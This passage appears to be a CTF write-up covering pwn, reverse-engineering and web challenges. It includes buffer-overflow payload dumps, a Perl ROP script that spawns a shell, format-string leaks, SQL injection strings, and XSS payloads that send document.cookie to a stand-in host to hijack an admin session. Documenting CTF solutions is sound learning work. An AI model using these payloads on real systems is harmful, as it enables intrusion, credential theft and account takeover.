00000010  66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66  |ffffffffffffffff|
00000020  66 66 66 66 66 66 66 66 ff ff ff ff ff ff ff ff  |ffffffff........|
00000030  0a     

And send the file via Send File (Binary) with Tera Term, enabling to use the shell.
I obtained the flag by executing a command cat flag.txt on the shell.

flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}

ret2generic-flag-reader

A C source code, an ELF file, and information to connect to a TCP server were provided.

Reading the source code, I found a part that is reading data via gets function and a function that reads ./flag.txt and output its contents.
Disassembling the ELf file via objdump in TDM-GCC and checking, I found that the address of the function is 0x4011f6.

00000000004011f6 <super_generic_flag_reading_function_please_ret_to_me>:

Also I found that it is 0x28 bytes from where the gets function stores the input to the return address.

00000000004013a5 <main>:
  4013a5:   f3 0f 1e fa             endbr64 
  4013a9:   55                      push   %rbp
  4013aa:   48 89 e5                mov    %rsp,%rbp
(snip)
  40141d:   48 8d 45 e0             lea    -0x20(%rbp),%rax
  401421:   48 89 c7                mov    %rax,%rdi
  401424:   e8 b7 fc ff ff          callq  4010e0 <gets@plt>

Seeing this, I created this file via a binary editor:

00000000  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000010  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000020  72 62 70 72 62 70 72 62 a4 13 40 00 00 00 00 00  |rbprbprb..@.....|
00000030  f6 11 40 00 00 00 00 00 0a                       |..@......|

Setting the return address to the address of function directly will have it violate the constraint that the stack pointer should be 16-byte alignmented when calling function,
so I adjusted the alignment by having it execute ret instruction before calling the function.

I obtained the flag by connecting to the server via Tera term and sending the file via Send File (Binary).

flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}

printf-please

A C source code, an ELF file, and information to connect to a TCP server were provided.

Reading the source code, I found it is doing this:

  1. Read the contents of flag.txt into the stack.
  2. Read one line of data and replace a newline character to '\0'.
  3. If the beginning of the data read is please, pass the data read to the first argument of the printf function.

When I gave this input:

please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx %11$016llx %12$016llx %13$016llx %14$016llx %15$016llx %16$016llx

It printed:

please 00007ffc709ce636 00007ffc709ce6d0 0000000000000000 0000000000000001 00007ff6b1931500 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 2520786c6c363130 786c6c3631302435 6c36313024362520 313024372520786c 24382520786c6c36 2520786c6c363130 to you too!

Looking closely, you can find that the data corresponding to please is printed as the 6th data.

Moreover, disassembling the ELF file via objdump in TDM-GCC and checking,
I found that the beginning of the flag data is 0x200 bytes after the beginning of the input data, which has please.

    118c:   48 89 e5                mov    %rsp,%rbp
    118f:   4c 8d ac 24 00 02 00    lea    0x200(%rsp),%r13
(snip)
    11e7:   ba 00 02 00 00          mov    $0x200,%edx
    11ec:   4c 89 ee                mov    %r13,%rsi
    11ef:   89 c7                   mov    %eax,%edi
    11f1:   41 89 c4                mov    %eax,%r12d
    11f4:   31 c0                   xor    %eax,%eax
    11f6:   e8 35 ff ff ff          callq  1130 <read@plt>
(snip)
    1271:   48 89 ef                mov    %rbp,%rdi
    1274:   e8 87 fe ff ff          callq  1100 <printf@plt>

One data dealed with here is 8-byte long, so the flag should be obtained by printing from the 70th data (64 data ahead from the 6th data).

I entered this data (with a little margin):

please %68$016llx %69$016llx %70$016llx %71$016llx %72$016llx %73$016llx %74$016llx %75$016llx %76$016llx %77$016llx

It printed:

please 0000000000000000 0000000000000000 336c707b67616c66 6e3172705f337361 5f687431775f6674 5f6e303174756163 000a7d6c78336139 0000000000000000 0000000000000000 0000000000000000 to you too!

I obtained the flag by entering data that are not all-zero to CyberChef and applying:

  • Fork (Split delimiter: a space character, Merge delimiter: an empty string)
  • From Hex
  • Reverse
flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}

ret2the-unknown

A C source code ret2the-unknown.c, three ELF files (ret2the-unknownlibc-2.28.sold-2.28.so),
and information to connect to a TCP server were provided.

The source code was a program that reads some input via gets function and prints the address of printf.

Disassembling ret2the-unknown via objdump in TDM-GCC and checking,
I found that the address of the main function is 0x401186
and that the return address is 0x28 bytes after where the gets function stores what it reads.
Based on this, I created this file via a binary editor:

00000000  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000010  64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61  |datadatadatadata|
00000020  72 62 70 72 62 70 72 62 37 12 40 00 00 00 00 00  |rbprbprb7.@.....|
00000030  86 11 40 00 00 00 00 00 0a                       |..@......|

If you send this file via Send File (Binary) in Tera Term,
you can run the main function once again via a ret instruction for alignment adjusting.
Also, assuming that the printed address of printf is the address of the function _IO_printf@@GLIBC_2.2.5,
you can tell the place of libc-2.28.so on the memory.

Searching for gadgets for ROP (Return-Oriented Programming) from libc-2.28.so via a binary editor,
I found these, for example:

pop rax; ret (58 c3) : 0x3a638
pop rdi; ret (5f c3) : 0x23a5f
pop rsi; ret (5e c3) : 0x2440e
pop rdx; ret (5a c3) : 0x106725
syscall      (0f 05) : 0x24104

Also, I searched for ret via a text editor from the result of disassembling libc-2.28.so via objdump in TDM-GCC,
finding that this part should be useful for writing to memory, for example:使えそうだった。

   2393b:   48 89 05 26 cb 19 00    mov    %rax,0x19cb26(%rip)        # 1c0468 <_nl_msg_cat_cntr@@GLIBC_2.2.5+0xd8>
   23942:   c3                      retq   

Using these, I created a program that receives the printed address of printf and
creates a file to send via Send File (Binary) in Tera Term to launch the shell.

A program to create a file to launch the shell
keygen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) { die "please specify the place\n"; }

my $place = hex($ARGV[0]);

my $printf = 0x58560;
my $rax = 0x3a638;
my $rdi = 0x23a5f;
my $rsi = 0x2440e;
my $rdx = 0x106725;
my $syscall = 0x24104;
my $mem = 0x1c0468;
my $mov = 0x2393b;

my $key =
    ("d" x 0x20) .                           # fill the buffer
    ("s" x 8) .                              # rbp
    pack("Q", $rax + $place - $printf) .     # pop %rax; ret
    "/bin/sh\0" .                            # rax = "/bin/sh"
    pack("Q", $mov + $place - $printf) .     # mov %rax,0x19cb26(%rip); ret
    pack("Q", $rax + $place - $printf) .     # pop %rax; ret
    pack("Q", 59) .                          # rax = 59 (execve)
    pack("Q", $rdi + $place - $printf) .     # pop %rdi; ret
    pack("Q", $mem + $place - $printf) .     # rdi = the address of the buffer
    pack("Q", $rsi + $place - $printf) .     # pop %rsi; ret
    pack("Q", 0) .                           # rsi = 0
    pack("Q", $rdx + $place - $printf) .     # pop %rdx; ret
    pack("Q", 0) .                           # rdx = 0
    pack("Q", $syscall + $place - $printf) . # syscall
    "\n";

binmode(STDOUT);
print $key;

The connection broke soon for some reason, sending the created file quickly actually launched the shell.
I obtained the flag by executing a command cat flag.txt in the shell.

flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}

rev

wstrings

An ELF file was provided.

Checking with a binary editor, it had a part that contains a string data like the flag every 4 bytes.

I obtained the flag by applying

  1. Decode Text (Encoding: UTF-32LE (12000))
  2. Strings

on CyberChef to this ELF file.

flag{n0t_al1_str1ngs_ar3_sk1nny}

bread-making

An ELF file and information to connect to a TCP server was provided.

Applying strings command, it printed these strings aside of common names of symbols.

The strings printed
it's the next morning
mom doesn't suspect a thing, but asks about some white dots on the bathroom floor
couldn't open/read flag file, contact an admin if running on server
mom finds flour in the sink and accuses you of making bread
mom finds flour on the counter and accuses you of making bread
mom finds burnt bread on the counter and accuses you of making bread
mom finds the window opened and accuses you of making bread
mom finds the fire alarm in the laundry room and accuses you of making bread
the tray burns you and you drop the pan on the floor, waking up the entire house
the flaming loaf sizzles in the sink
the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house
pull the tray out with a towel
there's no time to waste
pull the tray out
the window is closed
the fire alarm is replaced
you sleep very well
time to go to sleep
close the window
replace the fire alarm
brush teeth and go to bed
you've taken too long and fall asleep
the dough has risen, but mom is still awake
the dough has been forgotten, making an awful smell the next morning
the dough has risen
the bread needs to rise
wait 2 hours
wait 3 hours
the oven makes too much noise, waking up the entire house
the oven glows a soft red-orange
the dough is done, and needs to be baked
the dough wants to be baked
preheat the oven
preheat the toaster oven
mom comes home and finds the bowl
mom comes home and brings you food, then sees the bowl
the ingredients are added and stirred into a lumpy dough
mom comes home before you find a place to put the bowl
the box is nice and warm
leave the bowl on the counter
put the bowl on the bookshelf
hide the bowl inside a box
the kitchen catches fire, setting off the fire alarm and waking up the entire house
the bread has risen, touching the top of the oven and catching fire
45 minutes is an awfully long time
you've moved around too much and mom wakes up, seeing you bake bread
return upstairs
watch the bread bake
the sink is cleaned
the counters are cleaned
everything appears to be okay
the kitchen is a mess
wash the sink
clean the counters
get ready to sleep
the half-baked bread is disposed of
flush the bread down the toilet
the oven shuts off
cold air rushes in
there's smoke in the air
unplug the oven
unplug the fire alarm
open the window
you put the fire alarm in another room
one of the fire alarms in the house triggers, waking up the entire house
brother is still awake, and sees you making bread
you bring a bottle of oil and a tray
it is time to finish the dough
you've shuffled around too long, mom wakes up and sees you making bread
work in the kitchen
work in the basement
flour has been added
yeast has been added
salt has been added
water has been added
add ingredients to the bowl
add flour
add yeast
add salt
add water
we don't have that ingredient at home!
the timer makes too much noise, waking up the entire house
the bread is in the oven, and bakes for 45 minutes
you've forgotten how long the bread bakes
the timer ticks down
use the oven timer
set a timer on your phone

Connecting to the server via Tera Term, it printed:

add ingredients to the bowl

Entering this, which was near the string in the result of strings:

add flour

It printed:

flour has been added

Moreover, sending these three lines after that:

add yeast
add salt
add water

It printed:

the ingredients are added and stirred into a lumpy dough

And it seemed proceeding to the next stage.

Disassembling via objdump in TDM-GCC and checking, it looked complicated for me.
I analyzed the ELF file via Ghidra in these steps:

  1. Launch Ghidra by opening the ghidraRun.bat in the extracted files.
  2. Choose "New Project..." from the "File" menu.
  3. Asked to choose "Project Type" , choose "Non-Shared Project" and press "Next".
  4. Create a new (empty) directory.
  5. Press "Finish" after setting "Project Directory" to the created directory and "Project Name" to some random name (for example, aaa).
  6. Choose "Import File..." from the "File" menu.
  7. Choose the ELF file to analyze.
  8. Two dialogs appears, so press "OK" on each of them.
  9. Press the green icon (CodeBrowser) in the Tool Chest.
  10. CodeBrowser starts. Choose "Open..." in the "File" menu on that.
  11. Choose the file to analyze.
  12. Press "Yes" for the dialog asking "Would you like to analyze now?".
  13. "Analysis Options" dialog appears. Press "Analyze" on that.
  14. Expand "Functions" in the Symbol Tree and select FUN_00102180.

As a result, it had a part:

      lVar6 = 0;
      while( true ) {
        iVar3 = strcmp(acStack200,*(char **)(puVar1 + lVar6 * 0x10 + 0x20));
        if (iVar3 == 0) break;
        lVar6 = lVar6 + 1;
        if (lVar2 == lVar6) goto LAB_00102330;
      }
      iVar3 = (**(code **)(puVar1 + lVar6 * 0x10 + 0x28))();
      if (iVar3 == -1) goto LAB_00102330;

And it looked like looking up a table to fund functions from strings.
Investigating the ELF file, I found this table:

The table to find functions from string
5080  000000000000000A 0000000000003327 "there's no time to waste"
5090  00000000000032A0 0000000000000002 "the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house"
50A0  0000000000003340 0000000000002660 "pull the tray out"
50B0  0000000000003308 0000000000002680 "pull the tray out with a towel"

50C0  000000000000001E 0000000000003396 "time to go to sleep"
50D0  00000000000033F0 0000000000000003 "you've taken too long and fall asleep"
50E0  00000000000033AA 00000000000026A0 "close the window"
50F0  00000000000033BB 00000000000026D0 "replace the fire alarm"
5100  00000000000033D2 0000000000002700 "brush teeth and go to bed"
5110  0000000000000000 0000000000000000

5120  000000000000001E 00000000000034A1 "the bread needs to rise"
5130  0000000000003448 0000000000000002 "the dough has been forgotten, making an awful smell the next morning"
5140  00000000000034B9 0000000000002720 "wait 2 hours"
5150  00000000000034C6 0000000000002740 "wait 3 hours"

5160  000000000000001E 0000000000003540 "the dough is done, and needs to be baked"
5170  0000000000003569 0000000000000002 "the dough wants to be baked"
5180  0000000000003585 0000000000002760 "preheat the oven"
5190  0000000000003596 0000000000002780 "preheat the toaster oven"

51A0  000000000000001E 0000000000003610 "the ingredients are added and stirred into a lumpy dough"
51B0  0000000000003650 0000000000000003 "mom comes home before you find a place to put the bowl"
51C0  00000000000036A0 00000000000027A0 "leave the bowl on the counter"
51D0  00000000000036BE 00000000000027C0 "put the bowl on the bookshelf"
51E0  00000000000036DC 00000000000027E0 "hide the bowl inside a box"
51F0  0000000000000000 0000000000000000

5200  000000000000000A 0000000000003798 "45 minutes is an awfully long time"
5210  00000000000037C0 0000000000000002 "you've moved around too much and mom wakes up, seeing you bake bread"
5220  0000000000003805 0000000000002800 "return upstairs"
5230  0000000000003815 0000000000002820 "watch the bread bake"

5240  000000000000001E 0000000000003875 "the kitchen is a mess"
5250  00000000000033F0 0000000000000004 "you've taken too long and fall asleep"
5260  000000000000388B 0000000000002840 "wash the sink"
5270  0000000000003899 0000000000002870 "clean the counters"
5280  00000000000038E8 00000000000028A0 "flush the bread down the toilet"
5290  00000000000038AC 00000000000028D0 "get ready to sleep"

52A0  0000000000000005 000000000000392E "there's smoke in the air"
52B0  00000000000039A8 0000000000000003 "one of the fire alarms in the house triggers, waking up the entire house"
52C0  0000000000003947 00000000000028F0 "unplug the oven"
52D0  0000000000003957 0000000000002940 "unplug the fire alarm"
52E0  000000000000396D 0000000000002990 "open the window"
52F0  0000000000000000 0000000000000000

5300  000000000000001E 0000000000003A58 "it is time to finish the dough"
5310  0000000000003A78 0000000000000002 "you've shuffled around too long, mom wakes up and sees you making bread"
5320  0000000000003AC0 0000000000002A10 "work in the kitchen"
5330  0000000000003AD4 0000000000002A30 "work in the basement"

5340  000000000000001E 0000000000003B3C "add ingredients to the bowl"
5350  0000000000003B80 0000000000000004 "we don't have that ingredient at home!"
5360  0000000000003B58 0000000000002A50 "add flour"
5370  0000000000003B62 0000000000002AB0 "add yeast"
5380  0000000000003B6C 0000000000002B10 "add salt"
5390  0000000000003B75 0000000000002B70 "add water"

53A0  000000000000000A 0000000000003BE8 "the bread is in the oven, and bakes for 45 minutes"
53B0  0000000000003C20 0000000000000002 "you've forgotten how long the bread bakes"
53C0  0000000000003C5F 0000000000002C00 "use the oven timer"
53D0  0000000000003C72 0000000000002C20 "set a timer on your phone"

Doing more investigation, I found that it can proceed to next stage by sending one or all of the strings
that are 3rd or later in each blocks of this table when the first string of the block is printed.
The connection broke soon for some reason,
so I decided to prepare strings to send on a text editor and paste all of them for sending.
In conclusion, I obtained the flag by sending this strings:

The strings to send
add flour
add yeast
add salt
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed

flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

web

inspect-me

An URL of a Web page was provided.

Accessing that page, I found:

TODO: remove flag from HTML comment

Viewing the source of the page, I found the flag is written like this:

  <!-- flag{inspect_me_like_123} -->
flag{inspect_me_like_123}

orm-bad

An URL of a Web page and a server program app.js were provided.
The Web page had a form to enter Username and Password.

Checking the app.js, I found it is executing this query:

"SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'"

And prints the flag if the username is admin.

I obtained the flag by entering admin' and (1=1 or ('1'='1 as the Username and 1')) and '1'='1 as the Password.

flag{sqli_overused_again_0b4f6}

pastebin-1

An URL of a Web page, Admin Bot, and a program of the server main.rs were provided.
The Web page had a area to enter some text, and it seemed the entered text is directly put in the HTML when submitted.

Submitting this with example.com replaced with my RequestBin.com endpoint domain:

<img src="x" onerror="i=document.createElement('img');i.src='https://example.com/'+encodeURIComponent(document.cookie);document.body.appendChild(i);">

And sending the URL of the generated page to the Admin Bot, a request to

/flag%3Dflag%7Bd1dn7_n33d_70_b3_1n_ru57%7D

appeared on RequestBin.
I obtained the flag by applying decodeURIComponent to this on the browser console.

flag{d1dn7_n33d_70_b3_1n_ru57}

secure

An URL of a Web page and a program of the server index.js were provided.
The Web page was a form to enter Username and Password.

Reading index.js, I found it is executing this query:

  const query = `SELECT id FROM users WHERE
          username = '${req.body.username}' AND
          password = '${req.body.password}';`;

based on what are sent and printin the flag if the result is true.

To begin with, I entered what I entered for the challenge orm-bad:
Username: admin' and (1=1 or ('1'='1、Password: 1')) and '1'='1.

It showed:

Incorrect username or password. Query: SELECT id FROM users WHERE username = 'YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE=' AND password = 'MScpKSBhbmQgJzEnPScx';

It didn't seem doing something special after receiving the query, so the query should be modified before sending them.
Checking with the developer tool, a request with this request payload was found:

username=YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE%3D&password=MScpKSBhbmQgJzEnPScx

I obtained the flag by editing the request body to this and re-sending the request:

username=a&password='%20union%20select%20'1
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

notes

An URL of a Web page, Admin Bot, and the files on the server were provided.
The Web page accepts posts of notes with body and tag after registering with username and password.

Reading notes/public/static/view/index.js in the provided files, I found the posted data are displayed via innerHTML after this process:

  • The body is displayed after escaping <>"'.
  • The tag is not escaped, but the characters from 8th are replaced to ... when it exceeds 10 characters.

Moreover, I came up with these idea:

  • The body can contain JavaScript string literals using `, which is not escaped.
  • HTML tag attributes and ' are useful to disable extra data around the tag. (" is used there, but ' is not used)

The tag, which is not escaped, has a limit for the number of characters.
I searched for short attribute names which works when used with innerHTML, and found

<svg><set onend=alert(1) attributename=x dur=1s>

from Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy.

Adapting this, I posted following data from top to bottom:

body tag
hello <svg x='
hello '><set a='
hello 'dur=1 b='
hello ' onend='`
`; const a=document.createElement(`img`); /* public
*/ a.src=`https://example.com/` + /* public
*/ encodeURIComponent(document.cookie); /* public
*/ document.body.appendChild(a); const x = ` `'/></svg>

(example.com is replaced to my endpoint domain on RequestBin.com)
The form for the tag was select element, so I set data for value attribute of option element via the Developer Tool.

After sending these, I confirmed that the cookie data is sent to RequestBin when I visit the View Notes page.
Sending the URL of this page to the Admin Bot, a request to

/username%3Dadmin.uPoq5EHI5BXHy3ifvT25%252Fds2M3JH2JwsZJPpN0Vn1s8

appeared on RequestBin.

I applied decodeURIComponent to this on the browser console, and set what is after username= to the username of the cookie via the Developer Tool.
After that, I obtained the flag by visiting Home, and visiting View Notes from there.

flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0